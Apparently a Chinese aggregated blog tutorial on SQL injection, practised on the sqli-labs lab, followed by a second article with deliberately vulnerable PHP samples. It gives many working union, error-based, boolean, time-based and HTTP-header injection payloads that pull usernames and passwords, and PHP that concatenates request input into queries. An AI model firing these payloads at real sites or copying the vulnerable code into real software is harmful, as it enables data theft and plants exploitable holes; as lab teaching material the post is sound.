SQL注入基础原理与案例(详细总结)

Posted 剁椒鱼头没剁椒

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入基础原理与案例(详细总结)相关的知识,希望对你有一定的参考价值。

SQL注入基础原理与案例

一、前言

   本篇总结了学习SQL注入的笔记。
   目前先总结一些基础的东西,可能有些参数不全,具体的参数或者函数可以百度搜索一下。
   后续可能会继续添加更新注入、文件上传、插入注入等。

二、漏洞概述及危害

1.漏洞概述

  发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

2.漏洞危害

  攻击者可以通过SQL注入获取服务器的库名、表名、字段名、数据库版本、操作系统,从而获取整改网站服务器中的数据,对网站的用户的数据安全造成极大的威胁。
  非法登对数据库进行脱裤,获取数据进行贩卖。
如果网站目录存在写入权限,可以在网站中写入木马,攻击者进而可以对网页进行篡改,登录后台发布不实言论、内容,对数据库中添加恶意账号。
  经过提权等步骤,使服务器的最高权限被攻击者获取,攻击者可以远程控制服务器,安装后门,得以修改或者空中操作系统等。

3.漏洞防范

  增强输入验证及过滤,使用白名单或黑名单进行控制。
  对特殊的字符编码进行转义。
  预编译。
  使用WAF防范软硬件进行防范。
  对数据库中重要的数据进行加密处理。
  遵循最小化权限原则,严格区分各类账号管理的范围。

三、SQL注入

1.SQL注入方式

(1)信息收集

  操作系统、数据库名、数据库用户、数据库版本、其他路径。

(2)数据注入

  低版本通过暴力查询或结合读取进行获取。
  高版本可以通过information_schema语句进行查询。

(3)高权限注入

  常规查询、跨库查询、文件读写((存在魔术引导—编码或宽字节绕过),不存在魔术引导)、相关防注入(自带防注入:魔术引导、内置函数:int等、自定义关键字:select、WAF安全防护:安全狗,宝塔等)

2.判断是否存在注入点

(1)新办法

  SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 页面正常
  SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 页面不正常

(2)老办法

  ?id=1 and 1=1 页面正常
  ?id=1 and 1=2 页面不正常

(3)字段判断

  1)数字型

    and 1=2–+

  2)字符型

    'and 1=2–+
    "and 1=2–+
    )and 1=2–+
    ')and 1=2–+
    ")and 1=2–+
    "))and 1=2–+
  注:判断上面类型的注入,–+可以用#替换,url 提交过程中 Url 编码后的#为%23,–+或#的作用是用于结束后面的语句执行。
  注:判断字符型和数字型,数字and 1=2 是能够进行计算的所以1=2是不成立的返回错误,若返回正确则是字符型,具体字符型需要如何闭合,就需要进行测试。

3.明确参数类型

(1)干扰字符

  '、"、%、)、等,具体需要进行测试。

(2)判断情况

  url后面是字符,那么里面可能就是字符型注入。
  url后面是数字,可能是字符型或数字型,具体需要进行测试判断。

4.知识点

  mysql 5.0以下为低版本,5.0以上为高版本(有information_schema数据库)这个数据库是存储所有数据库名,表名,列名,相当于可以通过查询这个数据库获取指定数据库下面的表名列名信息。
  数据库中"."代表下一级,如haha.user表示haha数据库下的user表名
  information_schema.tables 记录所有表名信息的表
  information_schema.columns 记录所有列名信息的表
  information_schema.schemata 记录所有数据库信息的表
  table_schema 数据库名
  table_name 表名
  column_name 列名
  group_concat() 显示所有查询到的数据

5.SQL注入步骤

  判断类型》对其进行闭合》获取数据库名》获取数据库表名》获取数据库列名》获取数据库字段。

6.SQL注入初次尝试

(1)高版本>5.0版本

1)判断注入点
  输入?id=1 and 1=2–+后返回的页面是不正常的,通过返回结果判断该页面存在漏洞。
  并且由此可以判断该页面为数字型注入。

URL:http://192.168.10.150/sqlilabs/Less-2/?id=1 and 1=2--+

2)猜解列名数量
  通过猜解列名数量判断存在多少列,通过列的数量结合union select进行联合查询。
  通过不断的测试,当输入4的时候页面出现报错,那么就可以判断该页面的数据库存在3列。

URL:http://192.168.10.150/sqlilabs/Less-2/?id=1 order by 4--+

3)判断回显位
  通过上面获取的列数量,对其进行联合查询。
  Union select后面的1,2,3是通过上面获取的列的数量来进行添加的,若获取列的数量是4,那么就是union select 1,2,3,4。
  同时在id=1的前面需要添加减号,使其不成立执行后面的语句,也就是?id=-1 union select 1,2,3–+

URL:http://192.168.10.150/sqlilabs/Less-2/?id=-1 union select 1,2,3--+

4)信息收集
  按照需要对数据进行查询,在这个初次尝试中只需要获取一个数据库当前版本信息以及数据库名就可以了。将参数输入之显示位进行查询,显示位就是上图能够显示123的地方,而上面只显示了2和3,那么是2和3就是显示位。
  user() 数据库用户名
  database() 当前数据库名
  version() 当前数据库版本信息
  @@hostname 服务器主机名
  @@basedir 数据库安装路径
  @@version_compile_os 操作系统
  通过获取得知数据库版本:5.5.53,数据名:security。

URL:http://192.168.10.150/sqlilabs/Less-2/?id=-1 union select 1,database(),version()--+

5)获取数据库下的表
  通过上述获取到的数据库版本是>5.0的,那么我们根据知识点中提到的数据库版本>5.0会存在information_schema,根据这个方式对其进行获取数据库下的表的注入操作。

URL:http://192.168.10.150/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

6)获取数据库表下的列
  从上面获取到的表有4个表,但是我们需要获取到的是数据库中的账号密码,通过上面4个表的名字进行判断,猜测用户数据存在users中。

URL:http://192.168.10.150/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

  我这里可能比较乱,由于被修改过一些东西,所以显示的会有点乱,不需要在意。
7)获取数据库列下的账号密码
  通过上面获取到的列,我们可以判断账号存在username,密码存在password中。

URL:http://192.168.10.150/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

(2)低版本<5.0版本

  在低版本中表名和列名只能靠猜,使用工具跑字典,但是目前应该很少遇到了。

四、常见的注入方式

1.联合查询

(1)联合查询基本概念

  联合注入是回显注入的一种,也就是说联合注入的前提条件就是需要页面上能够有回显位。
  回显位就是客户端将数据展示在页面中,这个展示数据的位置就叫回显位。

(2)联合查询步骤

  判断注入点》判断注入类型(数字型或字符型)》判断字段数》判断显示位》确定数据库名》确定数据库的表名》确定数据库的列名》确定数据库的字段名》获取数据。

(3)案例sqli-labs-less-2数字型

  参考SQL注入初次尝试中的高版本案例。

(4)案例sqli-labs-less-1 字符型

1)判断注入点
  ?id=1 and 1=1–+ 正常
  ?id=1 and 1=2–+ 正常
  到这里其实基本上可以判断不是数字型了,那么就需要按照我们上面提到的干扰字符进行测试,可以按照上述的字段判断一条一条测试。
  ?id=1’ and 1=2–+ 不正常
  运气很好习惯性的加入一个引号就闭合了。

URL:http://192.168.10.150/sqlilabs/Less-1/?id=1' and 1=2--+

2)判断注入类型
  其实通过上面的判断就可以得知第一关是字符型。
3)判断字段数
  order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。若输入数值为n时报错,那么表示没有n个字段,总的字段数为n-1。

URL:http://192.168.10.150/sqlilabs/Less-1/?id=1' order by 4--+

4)判断显示位
  通过上面了解到字段数,后面通过union select 1,2,3…n(n为字段数)对其进行判断回显位。

URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,2,3--+

5)确定数据库名
  通过信息收集来判断数据库名,得知数据库名为:security。

URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,database(),version()--+

6)确定数据库的表名
  由于版本>5.0,使用我们使用知识点中提到的方式进行查询。

URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

7)确定数据库的列名

URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

8)确定数据库的字段名

URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

9)获取数据
  最终在通过上面的数据输出后,我们获取到相关的账号及密码。

2.基于报错盲注

(1)报错盲注基本概念

1)报错盲注的定义
  报错注入就是利用了数据库的某些机制,人为的制造错误的条件,使得查询的结果能够出现在错误的信息中。
2)报错盲注的前提
  页面没有回显点,但是必须SQL语句能够执行错误的信息。
  优点:不需要显示位。
  缺点:需要有SQL语句的报错信息。

(2)报错盲注步骤

  构造目标数据查询语句》选择报错注入函数》构造报错注入语句》拼接报错注入语句。

(3)常用报错函数

  Floor、updatexml、extractvalue…等等。

(4)常用报错函数使用语法

1)Updatexml()函数报错注入
  Updatexml()则负责修改查询到的内容
  语法:updatexml (XML_document, XPath_string, new_value);
  第一个参数:XML_document是String格式,为XML文档对象的名称,XML的内容。
  第二个参数:XPath_string (Xpath格式的字符串) ,是需要update的位置XPATH路径。
  第三个参数:new_value,String格式,更新后的内容
2)extractvalue()函数报错注入
  extractvalue()函数作用:MYSQL对XML文档数据进行查询的XPATH函数。
  语法: extractvalue(xml_document, xpath_string)
  第一个参数:xml_document是string格式,为xml文档对象的名称
  第二个参数:xpath_string (xpath格式的字符串)
  extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误

(5)案例sqli-labs-less-5 字符型

  使用Updatexml()函数进行演示
1)判断注入点
  ?id=1 and 1=1–+ 正常
  ?id=1 and 1=2–+ 正常
  到这里其实基本上可以判断不是数字型了,那么就需要按照我们上面提到的干扰字符进行测试,可以按照上述的字段判断一条一条测试。
  ?id=1’ and 1=2–+ 不正常
  运气很好习惯性的加入一个引号就闭合了。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and 1=2--+

2)判断注入类型(数字型或字符型)
  其实通过上面的判断就可以得知第一关是字符型。
3)判断是否存在报错注入
  通过构建基本的语句对页面进行测试是否存在报错注入。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,'~',3)--+

4)确定数据库名
  通过对其进行拼接使其能够进行报错,并且在报错的同时显示出数据库名,concat(0x7e,database())。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),3)--+

5)确定数据库的表名
  把concat中database()换成正常的查询sql语句就可以了,和联合查询语句如出一辙。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3)--+

6)确定数据库的列名
  未分页:
  其实在下图就可以看到,好像未显示完整,这是由于updatexml报错只能显示32位,所以在报错多的情况下需要进行分页。
  使用limit参数进行控制,同时上面的group_concat(column_name)也需要改为column_name,因为group_concat()是获取全部。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3)--+

  我这里获取到的数据有点问题,暂时没有找到获取哪里的数据了,但是前面的测试都是能够正常获取的,不知道是不是最近又加了一些靶场存在一些冲突的数据。
  分页:
  通过控制limit 后面的数量实现分页输出。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),3)--+

7)确定数据库的字段名
  获取users列下的username值,可以通过控制limit的参数进行输出。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3)--+

  获取users列下的password值,可以通过控制limit的参数进行输出。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select password from users limit 0,1 )),3)--+

8)获取数据。
  最终在通过上面的数据输出后,我们获取到相关的账号及密码。

3.基于布尔盲注

(1)布尔盲注基本概念

1)布尔盲注的原理
  布尔盲注一般适用于页面没有回显位置,也就是不支持联合查询,同时web页面返回true或者false构造SQL语句,从而达到注入获取数据的目的。

(2)布尔盲注步骤

  求数据库名的长度及ASCII》求当前数据库表的ASCII》求当前数据库表中的个数》求数据库中表名的长度》求数据库中表名》求列名的数量》求列名的长度》求列名的ASCII》求字段的数量》求字段的长度》求字段内容ASCII

(3)常用布尔函数使用语法

1)substr()截取函数
  语法:substr(str,start,length)
  第一个参数str为被截取的字符串。
  第二个参数start为开始截取的位置。
  第三个参数length为截取的长度。
  如:substr(user(),1,1),从user中返回的数据的第一位开始偏移位置截取一位,后续需要获取其他的数据只需要修改参数即可。
2)left()截取函数
  语法:left(str,length)
  第一个参数str为被截取的字符串。
  第二个参数length为截取的长度。
  如:left(user(),2),从user中返回的数据中截取前两位。
3)right()截取函数
  语法:rigth(user(),2)
  参考left()函数用法。
4)ascii()转换函数
  语法:ascii(char)
  第一个参数char为一个字符。
  如:ascii(user())若char为一串字符串,则返回的结果将是第一个字母的ASCII码,通常在使用中结合substr函数结合使用。Ascii(substr(user()1,1)),这样就可以获取user()中第一位字符的ASCII码。
5)length()计算函数
  语法:length(str)
  第一个参数str为字符串。
  如:length(admin)返回就是5。如果不是放某个字符串,放置表达式的时候,需要使用括号括起来。
6)ord()转换函数
  语法:ord(str)
  参考ascii()函数用法。
  如果存在没写到的函数,但是使用了,可以自行搜索。

(4)ASCII表

(5)案例sqli-labs-less-5 字符型

1)判断注入点
  ?id=1 and 1=1–+ 正常
  ?id=1 and 1=2–+ 正常
  到这里其实基本上可以判断不是数字型了,那么就需要按照我们上面提到的干扰字符进行测试,可以按照上述的字段判断一条一条测试。
  ?id=1’ and 1=2–+ 不正常
  运气很好习惯性的加入一个引号就闭合了。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and 1=2--+

2)猜测数据库版本号
  数据库版本是5.6.17,这里的语句意思就是测试数据库版本第一位是不是5,通过返回的结果显示是对的。若不是5则页面返回错误,若是5则页面返回正确。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and left (version(),1)=5--+

3)猜测数据库名长度
  若是8则返回正确,若不是8则返回错误。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and length(database())=8--+

4)猜测数据库名
  Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and left(database(),1)>'a'--+

  Database()为 security,所以我们看他的前两位是否 > sa,因此返回正确。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and left(database(),2)>'sa'--+

  用ascii来判断数据第一个字符是什么。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ascii(substr(database(),1,1))=115--+

  用ascii来判断数据第二个字符是什么。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ascii(substr(database(),2,1))=101--+

5)猜测数据库表的数量
  在security中表只有4张表,从0开始计算,实际只能到3,1而不能到4,1,所以当到4,1的时候大于0就不成立,所以无显就能判断出该数据库只有4张表。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) > 0 --+

6)猜测数据库表名的长度
  判断长度,例如上面的链接,大于5,实际在数据库中第一个表是6位,而这里大于5是正确的所以回显正常,这样可以判断表有多少位。当然也可以直接使用等于来进行判断。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5--+

  若需要猜测第二张表怎么办?
  把limit 0,1修改为limit 1,1就可以查询第二张表的长度了。第二张表的长度是8位,可以修改后进行测试。
7)猜测数据库表名
  如何猜测第一张表的第一个字母?
  第一个表是emails,ascii码中e是101,那么上面的等于101页面回显正常。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

  如何猜测第二张表的第二个字母?
  第二个表是referers,ascii码中e是101,那么上面的等于101页面回显正常。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+

  修改limit 1,1 来控制第几个表,修改后面的2,1来控制第几个字符。
8)猜测数据库列的数量
  在users中存在id、username、password字段,0,1是第一个所以是等于2。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2--+

9)猜测数据库列名
  如何猜测第二列第一个字母?
  在users中第二列是username所以第一个就是u,也就是117。
  最后面的1,1),1,1 第一个1控制第几列,从0开始。第三个1控制字段第几个字母。从1开始。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+

  如何猜测第三列第三个字母?

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ord(substr((select%20column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),3,1))=115--+

10)猜测某字段数据的长度
  判断username中第一行数据的长度,username第一行是dumb是4位,所以返回页面的正常的。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and length((select username from security.users limit 0,1))=4--+

  判断password中第二行数据的长度,password第二行是admin是5位,所以返回页面的正常的。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and length((select password from security.users limit 1,1))=5--+

11)猜测某字段数据的名
  判断username中第一行第一个字母。
  Username中第一个字母是D,所以是68,当等于68的时候页面正常。
  最后面的0,1),1,1 第一个1控制第几行,从0开始,第三个1控制字段第几个字母。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ord(substr((select username from security.users limit 0,1),1,1))=68--+

  判断password中第二行第二个字母。

URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ord(substr((select password from security.users limit 1,1),2,1))=100--+

4.基于时间盲注

(1)时间盲注基本概念

1)时间盲注的简介
  由于服务器端拼接了SQL语句,且正确和错误存在同样的回显,即是错误信息被过滤,可以通过页面响应时间进行按位判断数据。
2)时间盲注的原理
  时间盲注就是通过拼接if语句,构造我们判断的条件,根据条件的结果返回sleep()函数,使得页面的响应时间比正常的响应时间长,但是这个会由于网络情况造成误判,所以在测试前需要测试正常访问页面的时长。

(2)时间盲注基本步骤

  其实这里的基本步骤和布尔盲注都差不多,只不过是通过页面的响应时间来进行判断。

(3)常用盲注函数

1)if()比较函数
  语法:if(cond,ture_result,False_result)
  第一个参数cond为判断条件。
  第二个参数ture_result为真时的返回结果。
  第三个参数false_result为假时的返回结果。
  如:?id=1 and 1=if (ascii(substr(user(),1,1))=97,1,2)
  如果user 的第一位是‘a’则将返回1,否则就返回2。然而,如果返回的是2,则会使and后的条件不成立,导致返回错误页面。这时我们可以根据页面的长度进行判定,从而达到盲注的效果。
2)sleep()睡眠函数
  语法:sleep(N)
  第一个参数N是睡眠的时间
  如:if (ascii(substr(user(),1,1))=114,sleep(5),2)
  这样的话,如果user的第一位是‘r’,则页面返回将延迟5秒。这里需要注意的是,这5秒是在服务器端的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间
  如果存在没写到的函数,但是使用了,可以自行搜索。

(4)案例sqli-labs-less-8 字符型

1)判断注入点
  ?id=1 and 1=1–+ 正常
  ?id=1 and 1=2–+ 正常
  到这里其实基本上可以判断不是数字型了,那么就需要按照我们上面提到的干扰字符进行测试,可以按照上述的字段判断一条一条测试。
  ?id=1’ and 1=2–+ 不正常
  运气很好习惯性的加入一个引号就闭合了。

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and 1=2--+

2)判断是否存在时间盲注

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and sleep(5)--+

3)猜测数据库名长度
  其实时间盲注也就是延迟盲注其实就是在布尔的时候加入一个If判断程序。主体语句上和布尔盲注大差不多。Sleep (5),1中若前面的判断是正确的则返回页面的时候延迟5秒钟,若不正确则秒回。当然也受网络影响,这里是靶机所以影响比较小。
  也可以把sleep (5),1调整为sleep (1),5意思就是正确了秒回,不正确则延迟5秒返回。

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length(database())=8,sleep(5),1)--+

4)猜测数据库名
  猜测数据库名第一位

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

  猜测数据库第二位

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+

5)猜测数据库表的数量

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if((select count(table_name) from information_schema.tables where table_schema = database())=4,sleep(5),1)--+

6)猜测数据库表的长度
  猜测第二张表的长度,若这里分不清哪里判断第二张表的输出,可以去参考布尔盲注中的案例解释。

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(5),1)--+

7)猜测数据库表名
  猜测第一张表的第一个字,需要猜测其他表中其他字,可以修改limit进行控制。
  当然database()也可以替换为’security’。

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+

8)猜测数据库列的数量
  Users中存在3列。

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1)--+

9)猜测数据库列名
  猜测users表中第二列第一个字母这里需要注意的是上面获取到的是从0开始等于2,本质上是3个表,但是ID列我们用不到,从第二个开始。剩下的就需要自己调整参数进行一个一个测试。

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(5),1)--+

10)猜测某字段数据的长度
  这里可以顺带测一下users表中存在多少个用户,我这里我后期添加了一个,所以是15个用户。注意是从0开始计算。

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if((select count(username) from users)=14,sleep(5),1)--+

  猜测users表中username第一行长度

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length((select username from security.users limit 0,1))=4,sleep(5),1)--+

  猜测users表中password第二行长度

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length((select password from security.users limit 1,1))=5,sleep(5),1)--+

11)猜测某字段数据的名
  猜测users表中username第一行第一个字母

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ord(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1)--+

  猜测users表中的password第二行第二个字母

URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ord(substr((select password from security.users limit 1,1),2,1))=100,sleep(5),1)--+

  sleep(5),1,是错误的时候立即返回,若正确的时候延迟5秒返回。
  1,sleep(5),是正确的时候立即返回,若错误的时候延迟5秒返回。

5.HTTP头部注入

(1)HTTP头部注入基本概念

1)HTTP头部注入原理
  后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(例如:User-Agent、Accept字段等),会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞
2)常见HTTP头部注入类型
  Cookie:网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据。
  User-agent:使服务器能够识别客户端使用的操作系统,浏览器版本等。
  Referer:浏览器向web服务器表名自己是从哪个页面过来的。
  X-forwarded-for:简称xff头,它代表客户端(即http的请求端)真实IP。
3)头部注入的前提
  能够对请求头消息进行修改,修改请求头信息能够带入数据库执行,数据库没有对输入的请求头做过滤。

(2)案例sqli-labs-less-18 user-agent

1)判断注入点
  通过页面登录发现有返回的user-agent信息,可以通过抓包对其进行注入测试。
2)判断是否存在报错
  通过抓包后在user-agent的值后面添加干扰字符进行测试。发现能够出现报错的信息。

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0'

3)使用报错语句进行测试

User-Agent: 'and updatexml(1,0x7e,3)and '1'='1

4)确认数据库名

User-Agent: 'and updatexml(1,concat(0x7e,database()),3) and '

5)确认数据库表名

User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3) and '

6)确认数据库列名

User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3) and '

7)确认数据库字段名

User-Agent: 'and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3) and '

  主要注意的是测试的时候里面有使用limit进行分页,有没有进行分页的,如果对分页存在疑问可以去报错注入中查看解释,若解释的不全,请善用百度。

(3)案例sqli-labs-less-19 referer

1)判断注入点
  通过页面登录发现有返回的referer信息,可以通过抓包对其进行注入测试。
2)判断是否存在报错
  通过抓包后在referer的值后面添加干扰字符进行测试。发现能够出现报错的信息。

Referer: http://192.168.10.150/sqlilabs/Less-19/'

3)使用报错语句进行测试

Referer: 'and updatexml(1,0x7e,3)and '1'='1

4)确认数据库名

Referer: 'and updatexml(1,concat(0x7e,database()),3) and '

  后续步骤和User-Agent的测试流程一样。

(4)案例sqli-labs-less-20 cookie

1)判断注入点
  通过界面发现存在cookie值。
2)判断是否存在报错
  通过抓包后在Cookie的值后面添加干扰字符进行测试。发现能够出现报错的信息。

Cookie: uname=admin' and updatexml(1,0x7e,3)#

3)确认数据库名

Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),3)#

  后续步骤和User-Agent的测试流程一样。

(5)案例sqli-labs-less-21 cookie编码

1)判断注入点
  通过页面发现这里的cookie被加密了。
2)判断是否存在报错
  通过抓包后在Cookie的值后面添加干扰字符进行测试。发现能够出现报错的信息。

Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsMHg3ZSwzKSM=

3)如何编码
  首先在cookie处输入相关的测试语句,然后选中相关的测试语句对其进行转换选择》base64》base64编码。
  例如:

编码前:admin') and updatexml(1,0x7e,3)#

SQL注入原理及代码分析

前言

我们都知道,学安全,懂SQL注入是重中之重,因为即使是现在SQL注入漏洞依然存在,只是相对于之前现在挖SQL注入变的困难了。而且知识点比较多,所以在这里总结一下。通过构造有缺陷的代码,来理解常见的几种SQL注入。本文只是讲解几种注入原理,没有详细的利用过程。
如果想要了解Access的详细手工注入过程,可以看我的这篇文章https://www.cnblogs.com/lxfweb/p/12643011.html
如果想要了解MySQL的详细手工注入过程,可以看我的这篇文章https://www.cnblogs.com/lxfweb/p/12655316.html
如果想要了解SQL server的详细手工注入过程,可以看我的这篇文章https://www.cnblogs.com/lxfweb/p/12675023.html

SQL注入原理

SQL注入漏洞的产生需要满足两个条件

  1. 参数用户可控:前端传给后端的参数内容是用户可以控制的。
  2. 参数带入数据库查询:传入的参数拼接到SQL语句并带入数据库查询。
    所以在实际环境中开发者要秉持“外部参数皆不可信原则”进行开发。

几种常见的SQL注入攻击

union注入攻击

先看代码

<?php
$con=mysqli_connect("localhost","root","XFAICL1314","dvwa"); #连接数据库,我这里直接连接了dvwa的数据库
if(mysqli_connect_error())
{
    echo "连接失败:" .mysqli_connect_error();
}
$id=$_GET[\'id\'];
$result=mysqli_query($con,"select * from users where `user_id`=".$id);
$row=mysqli_fetch_array($result);
echo $row[\'user\'] . ":" . $row[\'password\'];
echo "<br>";
?>

在union注入页面中,程序获取GET参数id,对用户传过来的id值没有进行过滤,直接拼接到SQL语句中,在数据库中查询id对应的内容,并将这一条查询结果中的user和password 输出到页面。进行union注入攻击前提是页面有回显。
然后就是注入的常规思路,判断类型,判断字段数,使用union查询相关数据。

布尔盲注攻击

先看代码

<?php
$con=mysqli_connect("localhost","root","XFAICL1314","dvwa");
if(mysqli_connect_error())
{
    echo "连接失败:" .mysqli_connect_error();
}
$id=$_GET[\'id\'];
if(preg_match("/union|sleep|benchmark/i",$id)){
    exit("on");
}
$result=mysqli_query($con,"select * from users where `user_id`=".$id);
$row=mysqli_fetch_array($result);
if ($row) {
    exit("yes");
}
else{
    exit("no");
}
?>

在布尔盲注页面中,程序先获取GET参数id,通过preg_match()函数判断其中是否存在union sleep benchmark等危险字符。然后将参数id拼接到SQL语句,从数据库查询,如果有结果,返回yes,否则返回no。所以访问这个页面,代码根据查询结果返回只返回yes和no,不返回数据库中的任何结果,所以上一种的union注入在这里行不通。尝试利用布尔盲注。
布尔盲注是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断是成立的。例如,我们可以判断数据库名的长度构造语句如下。
and length(database())>=1 #依次增加,查看返回结果


通过上面的语句我们可以猜到数据库名长度为4。
接着使用逐字符判断的方式获取数据库库名,数据库库名范围一般都是az,字母09。构造语句如下。
and substr(database(),1,1)=要猜解的字母(转换成16进制)
substr是截取的意思,构造语句的含义是,截取database()的值,从第一个开始,每次返回一个。这里要注意,要和limit语句区分开,limit从0开始排序,substr从1开始排序。因为我知道数据库的第一个字母是d,所以直接换成d,转换成16进制就是0x64。结果如下。

在真实环境中,自己手工的话,工作量有点大,可以借助burp的爆破功能爆破要猜解的字母。
同样,也可以利用substr()来猜解表名和字段。构造语句
and substr((select table_name from information_schema.tables where table_schema=库名 limit 0,1),1,1)=要猜解的字母(这里指表名)

用这样的方法,可以猜解出所有的表名和字段,手工会累死,可以借助burp或者sqlmap。

爆错注入攻击

先看代码

<?php
$con=mysqli_connect("localhost","root","XFAICL1314","dvwa");
if (mysqli_connect_error())
{
    echo "连接失败:".mysqli_connect_error();
}
$id=$_GET[\'id\'];
if($result=mysqli_query($con,"select *from users where `user_id`=".$id))
{
    echo "ok";
}else{
    echo mysqli_error($con);
}
?>

查看代码,在报错注入页面中,程序获取GET参数id后,将id拼接到SQL语句中查询,如果执行成功,就输出ok,如果出错,就通过echo mysqli_error($con)将错误信息输出到页面。我们可以利用这种错误回显,通过updatexml()、floor()等函数将我们要查询的内容显示到页面上。
例如,我们通过updatexml()获取user()的值,构造如下语句。
and updatexml(1,concat(0x7e,(select user()),0x7e),1) #0x7e是~16进制编码
发现查询出了user()的值

同样,我们也可以查询出database()的值
and updatexml(1,concat(0x7e,(select database()),0x7e),1) #0x7e是~16进制编码
查询出了数据库名

